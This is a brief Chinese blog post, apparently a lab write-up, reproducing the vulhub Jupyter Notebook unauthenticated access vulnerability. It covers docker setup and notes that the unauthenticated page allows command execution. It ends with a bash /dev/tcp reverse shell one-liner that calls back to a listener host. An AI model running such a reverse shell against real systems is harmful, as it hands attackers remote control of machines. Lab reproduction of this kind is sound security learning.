记录一次vulhub：Jupyter Notebook 未授权访问漏洞复现

一、环境搭建

1、在docker容器里搭建环境

cd vulhub-master/jupyter/notebook-rce/

2、进入目录下，启动环境

docker-compose up -d

3、查看环境端口

docker ps -a

二、访问靶场

1、访问靶场不成功可以重启docker

systemctl restart docker

要是docker拉取不到环境可以参考小编文章下的：记录一次docker vulhub 中拉取镜像时出现超时问题该如何做？_sszsNo1的博客-CSDN博客

访问页面，成功访问

2、漏洞利用

直接点击以下

由于该漏洞未授权进入页面，发现可以执行命令，说明存在漏洞

反弹shel

kali进行监听

反弹shell语句：bash -i >& /dev/tcp/192.168.66.129/6666 0>&1